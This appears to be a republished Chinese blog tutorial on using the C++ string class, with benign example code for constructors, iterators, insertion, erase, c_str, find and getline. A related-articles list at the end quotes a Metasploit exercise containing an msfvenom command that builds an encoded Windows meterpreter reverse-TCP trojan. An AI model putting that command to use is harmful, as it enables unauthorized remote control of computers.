【STL】 string类使用一站式攻略

news2024/11/25 2:34:11

目录

一,STL

1. 简介

2. STL的版本

3. STL 六大组件  

4.  学习STL, 三境界

5. 学会查看C++文档 

二, string类

1. 相对于C语言,我们为什么还需要学习C++的string?

2. 头文件

3.  常见构造函数

4.  operator=   

5.  operator[]  &&  at函数

6. string容量方面

1. 关于  size 与 length  的选择

2. 关于string类 的扩容机制

3.  设置容量

7. iterators——迭代器(重要)

1. 回望 C++入门的 范围 for (语法糖  for)

2. 反向迭代

8. 字符串插入

1. 常见的插入方式:

2. 关于中间插入 insert的使用 

9. 删除字符串——erase

10.  c_str

1. 使用场景

 2. ‘\0’在 C语言  &  C++string类中的区别

11. find & rfind

1.获取文件名后缀

 2. 分离网址

12. getline

13. 字符串 互相转化  其他数据(C++11)

关于string类使用总结

结语


一,STL

1. 简介

STL(standard template libaray-标准模板库):C++标准库的重要组成部分,不仅是一个可复用的组件库,而且是一个包罗数据结构与算法的软件框架

2. STL的版本

原始版本
Alexander Stepanov Meng Lee 在惠普实验室完成的原始版本,本着开源精神,他们声明允许任何人任意运用、拷贝、修改、传播、商业使用这些代码,无需付费。唯一的条件就是也需要向原始版本一样做开源使用。 HP 版本 -- 所有 STL 实现版本的始祖。
P. J. 版本
P. J. Plauger 开发,继承自 HP 版本,被 Windows Visual C++ 采用,不能公开或修改,缺陷:可读性比较低,
符号命名比较怪异。
RW 版本
Rouge Wage 公司开发,继承自 HP 版本,被 C+ + Builder 采用,不能公开或修改,可读性一般。
SGI 版本
Silicon Graphics Computer Systems Inc 公司开发,继承自 HP 版 本。被 GCC(Linux) 采用,可移植性好,可公开、修改甚至贩卖,从命名风格和编程 风格上看,阅读性非常高。 我们后面学习STL要阅读部分源代码,主要参考的就是这个版本

3. STL 六大组件  

4.  学习STL, 三境界

1. 熟练使用 STL。

2. 能够比较清晰的认识STL的底层原理。

3. 能够编写STL的扩展。(在校期间,少数能掌握)

5. 学会查看C++文档 

  Reference - C++ Reference (cplusplus.com)

学习中光string类就有100来个接口,我们熟练掌握常见20个,其余80来个需要我们查找文档,而最好的方式是查看英文原文档。 

二, string类

1. 相对于C语言,我们为什么还需要学习C++的string?

C语言中,字符串是以'\0'结尾的一些字符的集合,为了操作方便,C标准库中提供了一些str系列的库函数,但是这些库函数与字符串是分离开的,不太符合OOP的思想,而且底层空间需要用户自己管理,稍不留神可能还会 越界访问

2. 头文件

 使用string类时,必须包含头文件以及using namespace std;

#include <string>

3.  常见构造函数

 常见的string类构造函数及功能:

1.      string() (重点)                              构造空的string类对象,即空字符串
2.      string(const char* s) (重点)       用C-string来构造string类对象
3.      string(size_t n, char c)                   string类对象中包含n个字符c
4.      string(const string&s  ) (重点)     拷贝构造 函数

这是原文:

选择 constructor (函数)进入: 

即可见 

建议:尝试去阅读原文档,对函数功能的解释。

同时,从查看文档可知,string类  重载了  流提取 & 流插入, 我们直接cout , cin

演示如下:

int main()
{
	// string(const char* s) (重点)  用string来构造string类对象
	string s1("hello, C++");
	cout << "s1 :" << s1 << endl;

	// string() (重点)  构造空的string类对象,即空字符串
	string s2;
	cout << "s2 :" << s2;
	cin >> s2;
	cout << "s2 :" << s2 << endl;

	// string(const string & s) (重点) 拷贝构造函数
	string s3(s1);
	cout << "s3 :" << s3 << endl;

	// string(size_t n, char c)   string类对象中包含n个字符c
	string s4(4, 'c');
	cout << "s4 :" << s4 << endl;
	
	return 0;
}

这里单独对第三个函数 子链函数  进行解释:

4.  operator=   

 成员函数:

 功能展示:

int main()
{
	string s2;
	// string & operator= (const char* s);
	string s1 = "hello, C++"; // 构造 + 拷贝 -> 优化为一次构造
	cout << "s1: " << s1 << endl; // 结果: hello, C++

	// string& operator= (const string & str); 
	s2 = s1;
	cout << "s2: " << s2 << endl; // 结果: hello, C++
	
	// string& operator= (char c);
	s2 = 'x';
	cout << "s2: " << s2 << endl; // 结果: x

	return 0;
}

补充: assign 函数 跟赋值差不多,感兴趣可以去查查文档,这里不进行举出。

5.  operator[]  &&  at函数

功能描述: 两者都是使string类像数组一样的访问字符串。

成员函数:

 

区别在返回值 

operator[]  在越界时会发生 断言 ;at 访问越界则 返回 异常

功能展示: 

int main()
{   
	// 1. char& operator[] (size_t pos); // 返回可修改的别名
	string s1 = "hello, C++";
	cout << s1[4] << endl;  // at :  s1.at(4)
	s1[4] = 'k';  // 如果类对象实例化时,未被const修饰,同时也具有修改的能力

	// 2. const char& operator[] (size_t pos) const;
	const string s2 = s1;
	cout << s2[4] << endl;
	s2[4] = 'o'; // s2 被const修饰,不允许修改其内容

	return 0;
}

 6. string容量方面

1. 关于  size 与 length  的选择

两者功能都是获取容器中字符串长度

 一般推荐使用 size() ,因为 length出道比较早,size是后期出道,string类中使用 size 比较多。(注意: max_size 这个没什么意义,返回的都是41亿)

简单遍历输出一遍字符串:

int main()
{   
	string s1 = "hello, C++";
	for (int i = 0; i < s1.size() ; i++)
	{
		cout << s1[i];  // at: s1.at(i);
	}
	return 0;
}

2. 关于string类 的扩容机制

结论: 在不同编译器下扩容机制可能不同,有的是1.5倍,而有的是2倍的扩容。

这里用同一段代码在 linux g++和 VS2019 下 扩容的结果:

 

3.  设置容量

我们知道频繁扩容,会有额外的消耗,于是我们预先设定一定大小的容量,减少扩容次数。

函数:

简单使用:

    s1.reserve(1000); // 单纯开空间

	s2.resize(1000);  // 开空间, 同时设置字符,默认为‘0’
	s2.resize(1000, 'c');

7. iterators——迭代器(重要)

迭代器是string 中的内部类类型,功能跟 operator[]差不多,像数组一样的访问数据。但字符串底层是数组,是一段连续的空间,用operator[] 会比较便利。后面我们学习 STL的vector(顺序表), list(链表)后,我们会发现,operator[]在连续存储的数据结构访问还行,但链表,树,迭代器更合适,而且他们用法类似,因此我们同时学习迭代器。(迭代器是容器通用访问方式,用法类似,提前上路

简单用法:

int main()
{
   string s1 = "hello, C++";
	string::iterator it = s1.begin();
	while (it != s1.end()) // != 原因:1. string类本身有关 2.其他容器也是用 != 这样设计统一了 
	{
		cout << *it;
		it++;
	}
	return 0;
}

s1.begin() 和  s1.end() 返回迭代器的位置是   [左闭区间 右开区间)  

1. 回望 C++入门的 范围 for (语法糖  for)

 int main()
{   
    string s1 = "hello, C++";
	for ( auto e : s1) // 自动++, 自动判断结束
	{
		cout << e;
	}
return 0;
}

语法糖  底层是通过 迭代器实现,且只能正向遍历。

2. 反向迭代

功能:反向遍历数据

 简单用法:

int main()
{
    string s1 = "hello, C++";
	string::reverse_iterator it = s1.rbegin(); 
	while ( it != s1.rend())
	{
		cout << *it;
		it++; // 底层肯定是反向++
	}
  return 0;
}

当然 不管是 s1.begin ,s1.end; s1.rbegin, s2.rend都有返回 const 修饰迭代器重载函数(一般发生在 传string引用时,如: const string& s1)

8. 字符串插入

C语言中,库函数strcat 也有这样的功能,但没有C++这么智能,C语言劣势:

  • 1. 每次插入字符,字符串需要遍历整个字符串,效率低,且需要保证被插入的字符数组足够大
  • 2. C++的插入会记录末尾字符下标,可以做到直接插入。

1. 常见的插入方式:

1. push_back

2. append

3. operator += 

详细查文档

简答操作:

#include <iostream>
#include <string>
using namespace std;
int main()
{
	string s1("hello, C++");
	s1.push_back('6');
	s1.push_back('-');
	s1.push_back('-');
	cout << s1 << endl;

	s1.append("5");
	cout << s1 << endl;

	string s2(s1);
	s2 += s1;
	s2 += 'c';
	s2 += "你好";
	cout << s2 << endl;
	return 0;
}

2. 关于中间插入 insert的使用 

结论: 尽量少用,string类,insert 中间插入,会导致后面字符挪位,假设要头插入n个字符,第2次,挪一次; 第3次,挪2次;第n次,挪 n - 1次;所以挪位时间复杂度n2了,所以尽量少用。

常见的三个insert 的使用:

运用如下:

int main()
{
	// 1. 迭代器
	string s1 = "hello, C++";
	string::iterator it = s1.begin() + 2; // 也就是在下标为2的位置插入
	s1.insert(it, 'Z');
	cout << s1 << endl; // heZllo, C++


	string s2 = s1;
	s2.insert(2, "你好"); // 下标为2的位置
	cout << s2 << endl;

	string s3 = s1;
	s3.insert(5, s2);    // 下标为5的位置插入
	cout << s3 << endl;
	return 0;
}

9. 删除字符串——erase

 函数: erase

代码实践: 

int main()
{
	// 1. 迭代器
	string s1 = "hello, C++";
	string::iterator it = s1.begin() + 2; // 也就是在下标为2的位置插入
	s1.insert(it, 'Z');
	cout << s1 << endl; // heZllo, C++


	string s2 = s1;
	s2.insert(2, "你好"); // 下标为2的位置
	cout << s2 << endl;

	string s3 = s1;
	s3.insert(5, s2);    // 下标为5的位置插入
	cout << s3 << endl;

	// 1. 迭代器删除
	//s3.erase(2);
	string::iterator it2 = s3.begin() + 2;
	string::iterator it3 = s3.end();
	s3.erase(it2, it3);
	cout << s3 << endl;
	return 0;
}

10.  c_str

1. 使用场景

在一些需要用到C语言接口时,C语言不支持C++的string类,而c_str 成员函数可以将string类字符串转化为C语言兼容的字符串

如:用C语言访问文件夹

    string s1("Test.cpp");
	const char* file = s1.c_str();
	FILE* myfile = fopen( file, "r"); // 不认string类
	char i = fgetc(myfile);
	while ( i != EOF)
	{
		cout << i;
		i = fgetc(myfile);
	}

 2. ‘\0’在 C语言  &  C++string类中的区别

结论: 

C语言比较重要:  ‘\0’在C语言中,像strcopy, strcat等等字符串接口函数结束大多有 '\0' 作为字符串结尾

C++直接无视: 我们可以将字符串中间任意位置设置为\0,但是在C++中字符串会将\0当成一个正常字符处理打印时会当成空格或者不占位置的字符输出

int main()
{
	string s1("test.cpp");
	s1 += '\0';
	s1 += '\0';
	s1 += '\0';
	s1 += '\0';
	s1 += "test.cpp";
	cout << s1.c_str() << endl; // ‘\0’对于C语言,是字符串结束的标志
	cout << s1 << endl;         //   而在string中,字符串中可以存在,但不发生显示或者是空格。
	
	return 0;
}

11. find & rfind

pos: 开始查找的字符位

n:   匹配的字符序列的长度

1.获取文件名后缀

int main()
{   // 1. 简单文件获取后缀
	string s1("test.cpp");
	size_t i = s1.find('.');
	string tmp;
	if (i != string::npos)
	{
		tmp = s1.substr(i); // 先用获取子串函数
	}
	cout << tmp << endl;

	// 2. 复杂后缀,而只取最后的后缀
	string s2("test.cpp.tar.zip");
	size_t i2 = s2.rfind('.');  // 从后向前寻找
	string tmp2;
	if (i2 != string::npos)
	{
		tmp2 = s2.substr(i2);
	}
	cout << tmp2;
	return 0;
}

 补充一下substr:

 2. 分离网址

int main()
{
	string s1("https://mp.csdn.net/mp_blog/creation/editor/131103529");
	// 1. 协议
	size_t pl = s1.find("://");
	size_t next = pl;
	string protocol = s1.substr(0, pl);
	cout << protocol << endl;
	// 2. 域名
	size_t p2 = s1.find("/", next += 3);
	string rn = s1.substr(next, p2 - next);
	next = p2;
	cout << rn << endl;

	// 3. 资源名
	string way = s1.substr(next);
	cout << way << endl;
	return 0;
}

12. getline

 功能:用于从输入流中读取一行数据,并存储到string对象中。

is:输入流对象。

str:用于存储读取的数据的string对象。

delim:可选参数,表示行结束符,默认为'\n'。(没有空格作为结束符)

 比如牛客这道题:

字符串最后一个单词的长度_牛客题霸_牛客网 (nowcoder.com)

13. 字符串 互相转化  其他数据(C++11)

这个感兴趣可以一个个试。举一个栗子:

stoul :  字符串  转  无符号长整型 

关于string类使用总结

   1. 学会查文档!!!(重要

   2. 可以问chatgpt

   3. 多练则会

结语

本小节就到这里了,感谢小伙伴的浏览,如果有什么建议,欢迎在评论区评论;如果给小伙伴带来一些收获请留下你的小赞,你的点赞和关注将会成为博主创作的动力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639123.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发&#xff0c;如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等&#xff0c;都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明&#xff1a; 本章内容&#xff0c;仅供学习&#xff0c;不要用于非法用途&#xff08;做个好白帽&#xff09; &#xff08;一&#xff09;生成木马 命令&#xff1a; msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善&#xff0c;没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档&#xff1a;《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载&#xff08;路网、自然特征、POI、江河海...&#xff09; 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载&#xff08;行政划分&#xff09; 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的&#xff0c;所有最近很多博客都是中午或者晚上休息的时候写的&#xff0c;甚至是项目编译的时候编写的。说真的&#xff0c;我最近感觉&#xff0c;对于那种大量的时间&#xff0c;我反而不能很好的运用&#xff0c;反而对于碎片时间&#xff0c;…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题&#xff1a;最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…

Notes/Domino 14 Drop1

大家好&#xff0c;才是真的好。 2023年5月31号&#xff0c;Notes/Domino 14 Drop1如约而至。在晚上照理检查了一下Notes相关博客时&#xff0c;就发现该版本现在可以下载。一诺千金&#xff0c;信若尾生&#xff0c;这是我对14版本的第一个评价。 很多人关心Notes/Domino 14…

【redis-初级】redis安装

文章目录 1.非关系型数据库&#xff08;NoSQL&#xff09;2.在Linux上安装redis2.1 安装前准备2.2 安装2.3 启动2.4 关闭 3. redis客户端3.1 命令客户端3.2redis远程客户端3.3 redis编程客户端 1.非关系型数据库&#xff08;NoSQL&#xff09; 2.在Linux上安装redis 2.1 安装前…

提升网络安全的关键利器:EventLog Analyzer

导语&#xff1a; 随着网络攻击和数据泄露事件的不断增加&#xff0c;企业对于网络安全的关注度也日益提高。在这样的背景下&#xff0c;安全信息与事件管理系统&#xff08;SIEM&#xff09;成为了提升网络安全的关键利器之一。本文将重点介绍一款强大的SIEM工具——EventLog…

Spark大数据处理学习笔记1.4 掌握Scala运算符

文章目录 一、学习目标二、运算符等价于方法&#xff08;一&#xff09;运算符即方法&#xff08;二&#xff09;方法即运算符1、单参方法2、多参方法3、无参方法 三、Scala运算符&#xff08;一&#xff09;运算符分类表&#xff08;二&#xff09;Scala与Java运算符比较 四、…

mac docker 安装 ES

一. docker 安装 ES 1. 下载镜像 docker pull elastcisearch:8.7.1 2. 启动镜像 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" -e ES_JAVA_OPTS"-Xms256m -Xmx256m" elasticsearch:8.7.1 参数说明…

AntDB 存储技术——Hash分片技术

单台机器很难处理海量的数据或者很高的并发查询&#xff0c;需要把数据拆分到多个节点上&#xff0c;在多个节点上进行存储和处理&#xff0c;这种技术叫作数据分区&#xff0c;也称为数据分片。数据分片的主要目的是提高可扩展性&#xff0c;使数据分散到多个节点上&#xff0…

【Java】冒泡排序

文章目录 一、什么是冒泡排序定义冒泡思想代码实现 二、冒泡排序的优化第一次优化第二次优化 三、鸡尾酒排序 一、什么是冒泡排序 定义 冒泡排序(bubble sort)是最基础的排序算法&#xff0c;它是一种基础的交换排序。它的原理就像汽水一样&#xff0c;汽水中常常有许多小气泡…

Vue第八篇Vue3

一 Vue3的变化 1.性能的提升 打包大小减少41% 初次渲染快55%, 更新渲染快133% 内存减少54% 2.源码的升级 使用Proxy代替defineProperty实现响应式 重写虚拟DOM的实现和Tree-Shaking 3.拥抱TypeScript Vue3可以更好的支持TypeScript 4.新的特性 Composition API&#…

Leetcode---349周赛

题目列表 2733. 既不是最小值也不是最大值 2734. 执行子串操作后的字典序最小字符串 2735. 收集巧克力 2736. 最大和查询&#xff08;这题难度较大&#xff0c;等以后有时间再和大家分享&#xff09; 一、2733、既不是最小值也不是最大值 关键是看到题目中说数组中的元素不…

一文快速了解软件技术基础

前言 数据结构和算法是计算机科学的基石&#xff0c;它们为我们提供了处理和组织数据的方法和工具。通过学习数据结构&#xff0c;您将能够理解如何存储和操作不同类型的数据&#xff0c;如何优化内存使用和访问效率&#xff0c;以及如何设计高效的算法来解决各种计算问题。掌…

iOS -- isa指针

isa指针&#xff1a;isa指针是一个指向对象所属类或元类的指针。它决定了对象可以调用的方法和属性。isa指针在对象的结构中存在&#xff0c;并且在运行时会被自动设置。isa 指针&#xff0c;表示这个对象是一个什么类。而 Class 类型&#xff0c; 也就是 struct objc_class * …

XML 的命名空间及其在OPCUA中的应用

为了防止不同XML 使用的名称冲突&#xff0c;XML 规范中规定的命名空间&#xff0c;平时编写单一命名空间的XML 文档&#xff0c;没有过多地注意XML 命名空间的细节。当开发OPCUA 信息模型时&#xff0c;被命名空间搞得云里雾里。为此&#xff0c;做了一个笔记。 URI(Uniform R…

Vue3_ElementPlus_简单增删改查(2023)

Vue3&#xff0c;Element Plus简单增删改查 代码&#xff1a;https://github.com/xiaoming12318/Vue3_ElementPlus_CRUD.git 环境&#xff1a; Visual Studio Code Node.js 16.0或更高版本&#xff0c;https://nodejs.org/en axios 快速上手&#xff1a; 如果已经有16.0及…